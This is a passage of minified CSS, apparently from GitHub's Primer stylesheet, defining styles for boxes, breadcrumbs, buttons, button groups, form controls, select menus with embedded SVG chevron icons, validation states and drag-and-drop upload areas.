768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px 